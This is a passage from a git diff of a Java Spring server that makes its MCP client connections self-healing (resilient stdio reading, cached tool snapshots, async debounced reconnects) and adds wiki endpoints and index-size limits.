    This override replaces the inbound processing with a version that + * {@link Log#debug logs} and {@code continue}s past non-JSON lines + * instead of breaking. Outbound and error processing remain unchanged. + */ + @Override + @SuppressWarnings("unchecked") + public Mono connect( + Function, Mono> handler) { + return Mono.fromRunnable(() -> { + log.info("MCP server starting (resilient mode)."); + + // Wire up the parent's inbound + error sinks so downstream + // McpSyncClient message dispatch works unchanged. These are required: + // if the SDK ever renames them, fail loudly here rather than connecting + // a transport whose every call silently times out at 30 s. + Sinks.Many inboundSink = getRequiredPrivateField("inboundSink"); + Sinks.Many errorSink = getRequiredPrivateField("errorSink"); + + inboundSink.asFlux() + .flatMap(msg -> Mono.just(msg).transform(handler)) + .subscribe(); + errorSink.asFlux().subscribe(line -> log.info("MCP stdio stderr: {}", line)); + + // Build and start the server process (reuses parent's ProcessBuilder hook) + List fullCommand = new ArrayList<>(); + fullCommand.add(params().getCommand()); + fullCommand.addAll(params().getArgs()); + + ProcessBuilder processBuilder = getProcessBuilder(); + processBuilder.command(fullCommand); + processBuilder.environment().putAll(params().getEnv()); + + Process process; + try { + process = processBuilder.start(); + } catch (Exception e) { + throw new RuntimeException("Failed to start MCP process: " + fullCommand, e); + } + + if (process.getInputStream() == null || process.getOutputStream() == null) { + process.destroy(); + throw new RuntimeException("MCP process input or output stream is null"); + } + // Retain the child so closeGracefully() can terminate it. + this.startedProcess = process; + + // Detect an unexpected death (crash / external `kill` / the user + // restarting the MCP service). Suppressed when `closing` is set, + // which is how an intentional close/replace tears the process down. + process.onExit().thenAccept(p -> { + if (closing) { + return; + } + Runnable exitHandler = this.onUnexpectedExit; + log.warn("MCP stdio process exited unexpectedly (exit code {})", p.exitValue()); + if (exitHandler != null) { + try { + exitHandler.run(); + } catch (Exception e) { + log.warn("MCP stdio unexpected-exit handler failed: {}", e.getMessage()); + } + } + }); + + // --- Resilient inbound reader (the key fix) --- + Thread inboundThread = new Thread(() -> { + try (BufferedReader reader = new BufferedReader( + new InputStreamReader(process.getInputStream(), StandardCharsets.UTF_8))) { + String line; + while (!closing && (line = reader.readLine()) != null) { + try { + McpSchema.JSONRPCMessage message = + McpSchema.deserializeJsonRpcMessage(jsonMapper(), line); + if (inboundSink != null && !inboundSink.tryEmitNext(message).isSuccess()) { + log.error("Failed to enqueue inbound MCP message"); + break; + } + } catch (Exception e) { + // Non-JSON line from server (debug output, etc.) — skip it. + log.debug("MCP server stdout non-JSON line (skipped): {}", line); + } + } + } catch (Exception e) { + log.error("MCP inbound reader error", e); + } finally { + if (inboundSink != null) inboundSink.tryEmitComplete(); + if (errorSink != null) errorSink.tryEmitComplete(); + } + }, "mcp-inbound-resilient"); + inboundThread.setDaemon(true); + ioThreads.add(inboundThread); + inboundThread.start(); + + // Outbound writer — delegate to parent infrastructure + startOutboundFromConnect(process); + + // Stderr reader + Thread errThread = new Thread(() -> { + try (BufferedReader errReader = new BufferedReader( + new InputStreamReader(process.getErrorStream(), StandardCharsets.UTF_8))) { + String line; + while (!closing && (line = errReader.readLine()) != null) { + if (errorSink != null) errorSink.tryEmitNext(line); + } + } catch (Exception e) { + log.error("MCP stderr reader error", e); + } + }, "mcp-stderr"); + errThread.setDaemon(true); + ioThreads.add(errThread); + errThread.start(); + + log.info("MCP server started (resilient mode)."); + }).subscribeOn(Schedulers.boundedElastic()); + } + + /** + * Read a required private field from the parent {@link StdioClientTransport}, + * failing loudly if it is missing or null. These fields are load-bearing for + * the resilient override; a silent null would yield a transport that connects + * but times out on every call, which is undebuggable at default log level. + */ + @SuppressWarnings("unchecked") + private T getRequiredPrivateField(String name) { + try { + Field field = StdioClientTransport.class.getDeclaredField(name); + field.setAccessible(true); + T value = (T) field.get(this); + if (value == null) { + throw new IllegalStateException("MCP SDK incompatible: field '" + name + + "' on StdioClientTransport is null; CwdAwareStdioClientTransport" + + " needs updating for this SDK version"); + } + return value; + } catch (NoSuchFieldException | IllegalAccessException e) { + throw new IllegalStateException("MCP SDK incompatible: cannot access field '" + name + + "' on StdioClientTransport; CwdAwareStdioClientTransport needs" + + " updating for this SDK version", e); + } + } + + /** Accessor for the jsonMapper (needed by the resilient inbound reader). */ + private io.modelcontextprotocol.json.McpJsonMapper jsonMapper() { + try { + Field f = StdioClientTransport.class.getDeclaredField("jsonMapper"); + f.setAccessible(true); + return (io.modelcontextprotocol.json.McpJsonMapper) f.get(this); + } catch (Exception e) { + throw new RuntimeException("Cannot access jsonMapper", e); + } + } + + /** Accessor for the ServerParameters (needed by connect). */ + private io.modelcontextprotocol.client.transport.ServerParameters params() { + try { + Field f = StdioClientTransport.class.getDeclaredField("params"); + f.setAccessible(true); + return (io.modelcontextprotocol.client.transport.ServerParameters) f.get(this); + } catch (Exception e) { + throw new RuntimeException("Cannot access params", e); + } + } + + /** + * Wire up outbound message writing from the parent's outboundSink. + * Reads from the sink's flux and writes JSON to the process stdout. + */ + private void startOutboundFromConnect(Process process) { + try { + Field f = StdioClientTransport.class.getDeclaredField("outboundSink"); + f.setAccessible(true); + @SuppressWarnings("unchecked") + Sinks.Many outboundSink = + (Sinks.Many) f.get(this); + if (outboundSink == null) return; + + Thread outThread = new Thread(() -> { + try (var writer = new java.io.BufferedWriter( + new java.io.OutputStreamWriter(process.getOutputStream(), StandardCharsets.UTF_8))) { + outboundSink.asFlux().subscribe(message -> { + try { + String json = jsonMapper().writeValueAsString(message); + json = json.replace("\r\n", "\\n").replace("\n", "\\n").replace("\r", "\\n"); + writer.write(json); + writer.newLine(); + writer.flush(); + } catch (Exception e) { + log.error("MCP outbound write error", e); + } + }); + // Keep thread alive while process runs + process.waitFor(); + } catch (Exception e) { + log.error("MCP outbound writer error", e); + } + }, "mcp-outbound-resilient"); + outThread.setDaemon(true); + ioThreads.add(outThread); + outThread.start(); + } catch (Exception e) { + log.warn("Cannot wire outbound sink: {}", e.getMessage()); + } + } + + /** + * Terminate the child process and the I/O threads this override spawned. + * + *

    The parent's {@code closeGracefully()} only acts on its private + * {@code process} field, which our {@link #connect} never assigns — so the + * parent alone would log "Process not started" and leave the child running, + * its readers blocked on {@code readLine()} and the outbound thread parked on + * {@code waitFor()}. Here we destroy the process we actually started, then + * delegate to the parent for any remaining sink/scheduler cleanup. + */ + @Override + public Mono closeGracefully() { + closing = true; + return Mono.fromRunnable(() -> { + Process p = this.startedProcess; + if (p != null && p.isAlive()) { + p.destroy(); + try { + if (!p.waitFor(2, TimeUnit.SECONDS)) { + p.destroyForcibly(); + } + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + p.destroyForcibly(); + } + } + for (Thread t : ioThreads) { + t.interrupt(); + } + ioThreads.clear(); + }).subscribeOn(Schedulers.boundedElastic()) + .then(Mono.defer(super::closeGracefully)); + } + @Override protected ProcessBuilder getProcessBuilder() { ProcessBuilder builder = super.getProcessBuilder(); diff --git a/mateclaw-server/src/main/java/vip/mate/tool/mcp/runtime/McpClientManager.java b/mateclaw-server/src/main/java/vip/mate/tool/mcp/runtime/McpClientManager.java index ad835a4f..a83024d7 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/mcp/runtime/McpClientManager.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/mcp/runtime/McpClientManager.java @@ -13,7 +13,10 @@ import io.modelcontextprotocol.spec.McpSchema; import lombok.extern.slf4j.Slf4j; import org.springframework.ai.mcp.SyncMcpToolCallbackProvider; import org.springframework.ai.tool.ToolCallback; +import org.springframework.context.ApplicationEventPublisher; import org.springframework.stereotype.Component; +import vip.mate.tool.mcp.event.McpConnectionLostEvent; +import vip.mate.tool.mcp.event.McpServerChangedEvent; import vip.mate.tool.mcp.model.McpServerEntity; import jakarta.annotation.PreDestroy; @@ -51,6 +54,21 @@ public class McpClientManager { /** serverId -> discovered tools metadata */ private final ConcurrentHashMap> toolsCache = new ConcurrentHashMap<>(); + /** + * serverId -> last successfully-built, prefix-wrapped tool callbacks. + * Served as a fallback when a live {@code listTools()} momentarily fails + * (e.g. the upstream server just restarted), so the agent keeps seeing the + * MCP tools instead of dropping the whole server and falling back to + * non-MCP tools. Refreshed on every successful collection. + */ + private final ConcurrentHashMap> lastGoodCallbacks = new ConcurrentHashMap<>(); + + private final ApplicationEventPublisher eventPublisher; + + public McpClientManager(ApplicationEventPublisher eventPublisher) { + this.eventPublisher = eventPublisher; + } + /** serverId -> connection result info */ private final ConcurrentHashMap connectionResults = new ConcurrentHashMap<>(); @@ -102,6 +120,7 @@ public class McpClientManager { McpSyncClient old = clients.remove(serverId); toolsCache.remove(serverId); connectionResults.remove(serverId); + lastGoodCallbacks.remove(serverId); if (old != null) { closeClientSafely(serverId, old); } @@ -119,7 +138,7 @@ public class McpClientManager { long start = System.currentTimeMillis(); McpSyncClient testClient = null; try { - testClient = buildClient(server); + testClient = buildClient(server, false); testClient.initialize(); List tools = testClient.listTools().tools(); long latency = System.currentTimeMillis() - start; @@ -170,17 +189,46 @@ public class McpClientManager { try { SyncMcpToolCallbackProvider provider = new SyncMcpToolCallbackProvider(entry.getValue()); ToolCallback[] cbs = provider.getToolCallbacks(); - if (cbs == null || cbs.length == 0) { + if (cbs != null && cbs.length > 0) { + List wrapped = wrapServerCallbacks(serverId, cbs); + lastGoodCallbacks.put(serverId, wrapped); + allCallbacks.addAll(wrapped); continue; } - allCallbacks.addAll(wrapServerCallbacks(serverId, cbs)); + // Live call succeeded but returned nothing. This can be a + // transient post-restart state while the SDK re-initializes; + // keep serving the last good snapshot rather than dropping the + // server. A server that legitimately has no tools simply has no + // snapshot and contributes nothing — same as before. + addSnapshot(allCallbacks, serverId); } catch (Exception e) { - log.warn("Failed to get tool callbacks from MCP server {}: {}", serverId, e.getMessage()); + // A live listTools() failure usually means the upstream server + // restarted and the held connection went stale. Instead of + // dropping the whole server (which makes the agent fall back to + // non-MCP tools), keep serving the last known-good callbacks and + // ask the service layer to reconnect. For streamable_http the + // stale callbacks self-heal on call via the SDK's lazy + // re-initialization; for stdio/sse the async reconnect rebuilds + // them and clears the agent cache. + log.warn("MCP server {} listTools failed; serving cached snapshot and requesting reconnect: {}", + serverId, e.getMessage()); + eventPublisher.publishEvent(new McpConnectionLostEvent(serverId, "listTools-failed")); + addSnapshot(allCallbacks, serverId); } } return allCallbacks; } + /** Append the last known-good callbacks for {@code serverId}, if any. */ + private void addSnapshot(List out, long serverId) { + List snapshot = lastGoodCallbacks.get(serverId); + if (snapshot != null && !snapshot.isEmpty()) { + log.debug("Serving {} cached MCP tool callbacks for server {} while it reconnects", + snapshot.size(), serverId); + out.addAll(snapshot); + } + } + /** * Apply per-server collision detection and wrap each surviving callback * with its prefixed name. Walks {@code cbs} and the matching decision @@ -250,6 +298,7 @@ public class McpClientManager { clients.clear(); toolsCache.clear(); connectionResults.clear(); + lastGoodCallbacks.clear(); // 不清除 serverLocks:closeAll 后 server 可能被重新 connect, // 保留 lock 对象确保后续操作仍有互斥保护 } @@ -260,7 +309,7 @@ public class McpClientManager { long start = System.currentTimeMillis(); McpSyncClient newClient = null; try { - newClient = buildClient(server); + newClient = buildClient(server, true); newClient.initialize(); // Discover tools @@ -301,9 +350,20 @@ public class McpClientManager { } } - private McpSyncClient buildClient(McpServerEntity server) { + /** + * Build a sync MCP client for {@code server}. + * + * @param managed {@code true} for long-lived clients placed in the active + * pool (connect/replace), {@code false} for throwaway clients + * (testConnection). Only managed clients arm the runtime + * self-healing hooks — a server-pushed {@code tools/list_changed} + * notification refreshes agent graphs, and a stdio subprocess + * death requests a reconnect. A throwaway test client must stay + * side-effect free. + */ + private McpSyncClient buildClient(McpServerEntity server, boolean managed) { McpClientTransport transport = switch (server.getTransport()) { - case "stdio" -> buildStdioTransport(server); + case "stdio" -> buildStdioTransport(server, managed); case "sse" -> buildSseTransport(server); case "streamable_http" -> buildStreamableHttpTransport(server); default -> throw new IllegalArgumentException("Unsupported transport: " + server.getTransport()); @@ -314,12 +374,19 @@ public class McpClientManager { Duration requestTimeout = Duration.ofSeconds( server.getReadTimeoutSeconds() != null ? server.getReadTimeoutSeconds() : 60); - return McpClient.sync(transport) - .requestTimeout(requestTimeout) - .build(); + var spec = McpClient.sync(transport).requestTimeout(requestTimeout); + if (managed) { + // Server-pushed tool-list changes (tools/list_changed) refresh the + // agent graphs without any polling — the SDK invokes this consumer + // on the client's inbound notification thread. + Long serverId = server.getId(); + spec.toolsChangeConsumer(tools -> + eventPublisher.publishEvent(new McpServerChangedEvent("mcp-tools-changed:" + serverId))); + } + return spec.build(); } - private StdioClientTransport buildStdioTransport(McpServerEntity server) { + private StdioClientTransport buildStdioTransport(McpServerEntity server, boolean managed) { String command = normalizeStdioCommand(server.getCommand()); ServerParameters.Builder builder = ServerParameters.builder(command); @@ -341,11 +408,19 @@ public class McpClientManager { builder.env(expandedEnv); } - StdioClientTransport transport = new CwdAwareStdioClientTransport( + CwdAwareStdioClientTransport transport = new CwdAwareStdioClientTransport( builder.build(), McpJsonMapper.createDefault(), expandEnvVars(server.getCwd())); transport.setStdErrorHandler(line -> log.info("MCP stdio stderr [{}]: {}", server.getName(), line)); + if (managed) { + // stdio is the one transport the MCP SDK cannot self-heal: a dead + // subprocess is only recoverable by respawning it, which lazy + // re-initialization never does. Request a reconnect on unexpected exit. + Long serverId = server.getId(); + transport.setOnUnexpectedExit(() -> + eventPublisher.publishEvent(new McpConnectionLostEvent(serverId, "stdio-process-exited"))); + } return transport; } diff --git a/mateclaw-server/src/main/java/vip/mate/tool/mcp/service/McpServerService.java b/mateclaw-server/src/main/java/vip/mate/tool/mcp/service/McpServerService.java index 5ef6d87f..e79bf753 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/mcp/service/McpServerService.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/mcp/service/McpServerService.java @@ -4,10 +4,15 @@ import cn.hutool.json.JSONUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import io.modelcontextprotocol.spec.McpSchema; +import jakarta.annotation.PreDestroy; import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; +import org.springframework.context.ApplicationEventPublisher; +import org.springframework.context.event.EventListener; import org.springframework.stereotype.Service; import vip.mate.exception.MateClawException; +import vip.mate.tool.mcp.event.McpConnectionLostEvent; +import vip.mate.tool.mcp.event.McpServerChangedEvent; import vip.mate.tool.mcp.model.McpServerEntity; import vip.mate.tool.mcp.repository.McpServerMapper; import vip.mate.tool.mcp.runtime.McpClientManager; @@ -17,6 +22,9 @@ import java.time.LocalDateTime; import java.util.ArrayList; import java.util.List; import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; import java.util.regex.Pattern; /** @@ -33,9 +41,82 @@ public class McpServerService { private final McpServerMapper mcpServerMapper; private final McpClientManager mcpClientManager; + private final ApplicationEventPublisher eventPublisher; private static final Pattern NAME_PATTERN = Pattern.compile("^[a-zA-Z0-9_\\-. ]{1,128}$"); + /** + * Connecting to an MCP server blocks on network / subprocess I/O and can + * take up to connectTimeout + readTimeout seconds (or hang on an + * unreachable endpoint). Running it on the request thread freezes the + * admin UI's create/toggle/update call. We offload it to this small pool + * so the API returns immediately with status {@code connecting}; the UI + * then polls for the final {@code connected}/{@code error} state. + */ + private final ExecutorService connectExecutor = Executors.newFixedThreadPool(2, r -> { + Thread t = new Thread(r, "mcp-connect"); + t.setDaemon(true); + return t; + }); + + @PreDestroy + public void shutdownConnectExecutor() { + connectExecutor.shutdownNow(); + } + + /** + * Debounce window for runtime-triggered reconnects (issue #317). A live + * tool call and an agent rebuild can both detect the same dead connection + * within milliseconds, and a crash-looping server would otherwise respawn + * on every {@code listTools()} miss. We collapse repeated reconnect requests + * for the same server inside this window. + */ + private static final long RECONNECT_DEBOUNCE_MS = 10_000; + + /** serverId -> last runtime reconnect attempt epoch millis. */ + private final ConcurrentHashMap lastRuntimeReconnectAt = new ConcurrentHashMap<>(); + + /** + * Heal a connection that died at runtime: a stale {@code listTools()} or a + * stdio subprocess that exited on its own (e.g. the user restarted the MCP + * service). Reloads the server config and reconnects asynchronously, + * debounced so a flapping server can't saturate the reconnect pool. The + * reconnect publishes {@link McpServerChangedEvent} on success, which clears + * the agent cache so the next turn rebuilds against the live tools. + */ + @EventListener + public void onConnectionLost(McpConnectionLostEvent event) { + Long serverId = event.serverId(); + if (serverId == null) { + return; + } + McpServerEntity server = mcpServerMapper.selectById(serverId); + if (server == null || !Boolean.TRUE.equals(server.getEnabled())) { + // Removed or disabled in the meantime — nothing to heal. + return; + } + + long now = System.currentTimeMillis(); + Long previous = lastRuntimeReconnectAt.get(serverId); + if (previous != null && now - previous < RECONNECT_DEBOUNCE_MS) { + log.debug("Skipping MCP reconnect for '{}' ({}): within debounce window", server.getName(), event.reason()); + return; + } + lastRuntimeReconnectAt.put(serverId, now); + + log.warn("MCP server '{}' connection lost ({}); reconnecting", server.getName(), event.reason()); + reconnectAsync(server); + } + + /** Publish a connection-state change so AgentService rebuilds its agent cache (issue #289). */ + private void publishChanged(String reason) { + try { + eventPublisher.publishEvent(new McpServerChangedEvent(reason)); + } catch (Exception e) { + log.warn("Failed to publish MCP server change event ({}): {}", reason, e.getMessage()); + } + } + // ==================== CRUD ==================== public List listAll() { @@ -76,9 +157,11 @@ public class McpServerService { mcpServerMapper.insert(entity); log.info("MCP server created: name={}, transport={}, id={}", entity.getName(), entity.getTransport(), entity.getId()); - // Auto-connect if enabled + // Auto-connect if enabled — done asynchronously so a slow / unreachable + // server can't freeze the create request (issue: 配置 MCP 卡死). if (Boolean.TRUE.equals(entity.getEnabled())) { - connectSync(entity); + connectAsync(entity); + entity.setLastStatus("connecting"); } return entity; @@ -113,12 +196,16 @@ public class McpServerService { log.info("MCP server updated: name={}, id={}", existing.getName(), id); - // Reconnect if enabled, disconnect if disabled + // Reconnect if enabled, disconnect if disabled. Reconnect runs + // asynchronously so a slow / unreachable server can't freeze the + // update request (issue: 配置 MCP 卡死). if (Boolean.TRUE.equals(existing.getEnabled())) { - reconnectSync(existing); + reconnectAsync(existing); + existing.setLastStatus("connecting"); } else { mcpClientManager.remove(id); updateStatus(id, "disconnected", null, 0); + publishChanged("server-disabled"); } return existing; @@ -133,6 +220,7 @@ public class McpServerService { // Disconnect first mcpClientManager.remove(id); mcpServerMapper.deleteById(id); + publishChanged("server-deleted"); log.info("MCP server deleted: name={}, id={}", entity.getName(), id); } @@ -142,10 +230,14 @@ public class McpServerService { mcpServerMapper.updateById(entity); if (enabled) { - connectSync(entity); + // Connect asynchronously so toggling on a slow / unreachable + // server can't freeze the request (issue: 配置 MCP 卡死). + connectAsync(entity); + entity.setLastStatus("connecting"); } else { mcpClientManager.remove(id); updateStatus(id, "disconnected", null, 0); + publishChanged("server-disabled"); } log.info("MCP server toggled: name={}, enabled={}", entity.getName(), enabled); @@ -224,6 +316,9 @@ public class McpServerService { } log.info("MCP servers refresh complete: {} enabled, {} connected", enabled.size(), mcpClientManager.getActiveCount()); + // closeAll() above dropped every client; even if all reconnects failed, + // cached agents must drop the now-removed tools. + publishChanged("servers-refreshed"); } /** @@ -253,6 +348,11 @@ public class McpServerService { } log.info("MCP servers initialization complete: {} connected / {} total", mcpClientManager.getActiveCount(), enabled.size()); + // The embedded web server starts accepting chat requests before this + // @Order(200) runner finishes, so an agent may have been cached during + // the boot window with no MCP tools. Drop those stale snapshots now + // that connections are established (issue #289). + publishChanged("servers-initialized"); } // ==================== Sanitization ==================== @@ -297,8 +397,23 @@ public class McpServerService { // ==================== Internal ==================== + /** + * Mark the server {@code connecting} (so the UI reflects it immediately) + * and run the blocking {@link #connectSync} on the background pool. The + * caller's request thread returns at once. + */ + private void connectAsync(McpServerEntity server) { + updateStatus(server.getId(), "connecting", null, 0); + connectExecutor.submit(() -> connectSync(server)); + } + + /** Async counterpart of {@link #reconnectSync}. See {@link #connectAsync}. */ + private void reconnectAsync(McpServerEntity server) { + updateStatus(server.getId(), "connecting", null, 0); + connectExecutor.submit(() -> reconnectSync(server)); + } + private void connectSync(McpServerEntity server) { - // 同步连接,阻塞调用线程。后续可改为 @Async + 线程池实现真异步。 try { ConnectionResult result = mcpClientManager.connect(server); if (result.success()) { @@ -306,11 +421,13 @@ public class McpServerService { } else { mcpClientManager.remove(server.getId()); updateStatus(server.getId(), "error", result.message(), 0); + publishChanged("connect-failed"); } } catch (Exception e) { log.warn("Failed to connect MCP server '{}': {}", server.getName(), e.getMessage()); mcpClientManager.remove(server.getId()); updateStatus(server.getId(), "error", e.getMessage(), 0); + publishChanged("connect-error"); } } @@ -322,11 +439,13 @@ public class McpServerService { } else { mcpClientManager.remove(server.getId()); updateStatus(server.getId(), "error", result.message(), 0); + publishChanged("reconnect-failed"); } } catch (Exception e) { log.warn("Failed to reconnect MCP server '{}': {}", server.getName(), e.getMessage()); mcpClientManager.remove(server.getId()); updateStatus(server.getId(), "error", e.getMessage(), 0); + publishChanged("reconnect-error"); } } @@ -344,6 +463,9 @@ public class McpServerService { List tools = mcpClientManager.getServerTools(serverId); String cacheJson = serializeToolsCache(tools); updateStatusWithCache(serverId, "connected", null, tools.size(), cacheJson); + // Tools just became available — rebuild agent graphs so the next turn + // can actually call them (issue #289). + publishChanged("server-connected"); } private void updateStatus(Long id, String status, String error, int toolCount) { diff --git a/mateclaw-server/src/main/java/vip/mate/trigger/dispatch/ChannelMessageEventBridge.java b/mateclaw-server/src/main/java/vip/mate/trigger/dispatch/ChannelMessageEventBridge.java index bd868192..cb7e2b39 100644 --- a/mateclaw-server/src/main/java/vip/mate/trigger/dispatch/ChannelMessageEventBridge.java +++ b/mateclaw-server/src/main/java/vip/mate/trigger/dispatch/ChannelMessageEventBridge.java @@ -3,6 +3,7 @@ package vip.mate.trigger.dispatch; import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.springframework.context.event.EventListener; +import org.springframework.scheduling.annotation.Async; import org.springframework.stereotype.Component; import vip.mate.channel.event.ChannelMessageReceivedEvent; import vip.mate.trigger.ingest.TriggerEventEnvelope; @@ -31,6 +32,7 @@ public class ChannelMessageEventBridge { private final TriggerEventIngestService ingestService; + @Async @EventListener public void onChannelMessage(ChannelMessageReceivedEvent event) { if (event == null) return; diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/WikiProperties.java b/mateclaw-server/src/main/java/vip/mate/wiki/WikiProperties.java index 4267f2b5..e4a64e24 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/WikiProperties.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/WikiProperties.java @@ -56,6 +56,29 @@ public class WikiProperties { /** 注入 agent prompt 的最大字符数 */ private int maxContextChars = 10000; + /** + * Hard cap on the existing-pages index injected into the route / batch-create + * prompts. The index lists every non-archived page in the KB so the router can + * decide create-vs-update and emit cross-links. Without a cap it grows linearly + * with the KB and eventually overflows the model context window + * ("Prompt exceeds max length"). When the rendered index exceeds this many + * characters the listing stops and a trailing marker records how many pages + * were omitted. Title-based dedup at persist time (findByCanonicalTitle) keeps + * truncation safe: a page the router can no longer see is converted from + * create to update on save rather than duplicated. Set to 0 to disable the + * char cap. + */ + private int existingPagesIndexMaxChars = 12000; + + /** + * Hard cap on the number of pages listed in the existing-pages index, applied + * together with {@link #existingPagesIndexMaxChars} — whichever limit is hit + * first stops the listing. Manually-edited pages are listed first so + * user-curated entries are never the ones dropped. Set to 0 to disable the + * page-count cap. + */ + private int existingPagesIndexMaxPages = 200; + /** 单个原始材料最多生成的 Wiki 页面数 */ private int maxPagesPerRaw = 15; diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/controller/WikiAdminController.java b/mateclaw-server/src/main/java/vip/mate/wiki/controller/WikiAdminController.java index d9c43d50..f836025e 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/controller/WikiAdminController.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/controller/WikiAdminController.java @@ -9,9 +9,11 @@ import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import vip.mate.wiki.job.WikiChunkTokenBackfillJob; import vip.mate.wiki.service.WikiOverviewService; +import vip.mate.wiki.service.WikiPageService; import vip.mate.wiki.service.WikiScaffoldService; import java.util.HashMap; @@ -34,6 +36,7 @@ import vip.mate.workspace.core.annotation.RequireWorkspaceRole; public class WikiAdminController { private final WikiScaffoldService scaffoldService; + private final WikiPageService pageService; /** Optional so the controller can boot in environments where the rebuilder isn't wired (e.g. minimal tests). */ @Autowired(required = false) @@ -81,4 +84,20 @@ public class WikiAdminController { body.put("filledThisBatch", Math.max(0, beforePending - afterPending)); return ResponseEntity.ok(body); } + + @Operation(summary = "Merge duplicate pages that share a canonical title", + description = "Heals duplicate rows produced before title-based dedup existed (one concept " + + "stored under several LLM-minted slugs). Defaults to a dry run that only reports " + + "what would change. Set dryRun=false to apply. concatenate=true (default) appends each " + + "loser's body to the winner so no content is lost; concatenate=false keeps only the " + + "winner's body. Protected (system/locked) pages always win and are never deleted.") + @PostMapping("/kb/{kbId}/merge-duplicate-titles") + @RequireWorkspaceRole("admin") + public ResponseEntity> mergeDuplicateTitles( + @PathVariable Long kbId, + @RequestParam(defaultValue = "true") boolean dryRun, + @RequestParam(defaultValue = "true") boolean concatenate) { + Map report = pageService.mergeDuplicateTitles(kbId, dryRun, concatenate); + return ResponseEntity.ok(report); + } } diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/controller/WikiController.java b/mateclaw-server/src/main/java/vip/mate/wiki/controller/WikiController.java index 1f9358f0..86ee37a6 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/controller/WikiController.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/controller/WikiController.java @@ -274,6 +274,30 @@ public class WikiController { return R.ok(); } + @RequireWorkspaceRole("admin") + @Operation(summary = "按当前 pageType profile 重新分类已有页面(异步,不改内容)") + @PostMapping("/knowledge-bases/{id}/reclassify") + public R> reclassifyKB(@PathVariable Long id, + @RequestBody(required = false) Map body, + @RequestHeader(value = "X-Workspace-Id", required = false) Long workspaceId) { + verifyKBWorkspace(id, workspaceId); + Long modelId = null; + if (body != null && body.get("modelId") != null) { + modelId = Long.valueOf(String.valueOf(body.get("modelId"))); + } + int queued; + try { + queued = processingService.reclassifyKB(id, modelId); + } catch (IllegalStateException e) { + // A reclassification is already running for this KB — surface a + // friendly message rather than a generic 500. + return R.fail(e.getMessage()); + } + Map out = new LinkedHashMap<>(); + out.put("queued", queued); + return R.ok(out); + } + // ==================== Directory Scan ==================== @RequireWorkspaceRole("member") @@ -285,7 +309,7 @@ public class WikiController { String path = body.get("path"); if (path != null && !path.isBlank()) { try { - pathValidator.validateDirectory(path); + pathValidator.validateSourcePatterns(path); } catch (IllegalArgumentException e) { return R.fail(400, e.getMessage()); } @@ -321,7 +345,10 @@ public class WikiController { if (kb == null) return R.fail(404, "Knowledge base not found"); vip.mate.wiki.source.WikiIngestSourceProvider provider = sourceWatcherService.providerFor(kb); Map out = new LinkedHashMap<>(); + // Global master switch (ops): gates the scheduler at all. out.put("watcherEnabled", properties.isWatcherEnabled()); + // Per-KB opt-in: auto-sync runs only when both are true (AND semantics). + out.put("kbWatcherEnabled", kb.getWatcherEnabled() != null && kb.getWatcherEnabled() == 1); out.put("intervalMs", properties.getWatcherIntervalMs()); out.put("sourceDirectory", kb.getSourceDirectory()); out.put("sourceType", provider != null ? provider.sourceType() : null); @@ -330,6 +357,20 @@ public class WikiController { return R.ok(out); } + @RequireWorkspaceRole("member") + @Operation(summary = "开关知识库的自动同步(每库)") + @PutMapping("/knowledge-bases/{id}/source-watcher/enabled") + public R setWatcherEnabled(@PathVariable Long id, @RequestBody Map body, + @RequestHeader(value = "X-Workspace-Id", required = false) Long workspaceId) { + verifyKBWorkspace(id, workspaceId); + WikiKnowledgeBaseEntity kb = kbService.getById(id); + if (kb == null) return R.fail(404, "Knowledge base not found"); + Object v = body.get("enabled"); + boolean enabled = (v instanceof Boolean b) ? b : Boolean.parseBoolean(String.valueOf(v)); + kbService.updateWatcherEnabled(id, enabled); + return R.ok(); + } + @RequireWorkspaceRole("member") @Operation(summary = "手动触发一次源监听扫描") @PostMapping("/knowledge-bases/{id}/source-watcher/scan") diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/controller/WikiEntityController.java b/mateclaw-server/src/main/java/vip/mate/wiki/controller/WikiEntityController.java new file mode 100644 index 00000000..fcac1042 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/wiki/controller/WikiEntityController.java @@ -0,0 +1,76 @@ +package vip.mate.wiki.controller; + +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; +import vip.mate.wiki.dto.WikiEntityGraphView; +import vip.mate.wiki.dto.WikiEntityView; +import vip.mate.wiki.service.WikiEntityExtractionService; +import vip.mate.wiki.service.WikiEntityGraphService; +import vip.mate.wiki.service.WikiProcessingService; + +import java.util.List; +import java.util.Map; + +/** + * Read and manual-trigger endpoints for the entity-level knowledge graph. + * + * @author MateClaw Team + */ +@Slf4j +@RestController +@RequestMapping("/api/v1/wiki") +@RequiredArgsConstructor +public class WikiEntityController { + + private final WikiEntityGraphService graphService; + private final WikiEntityExtractionService extractionService; + + /** List entities in a KB, optionally filtered by type, ranked by salience. */ + @GetMapping("/kb/{kbId}/entities") + public List listEntities(@PathVariable Long 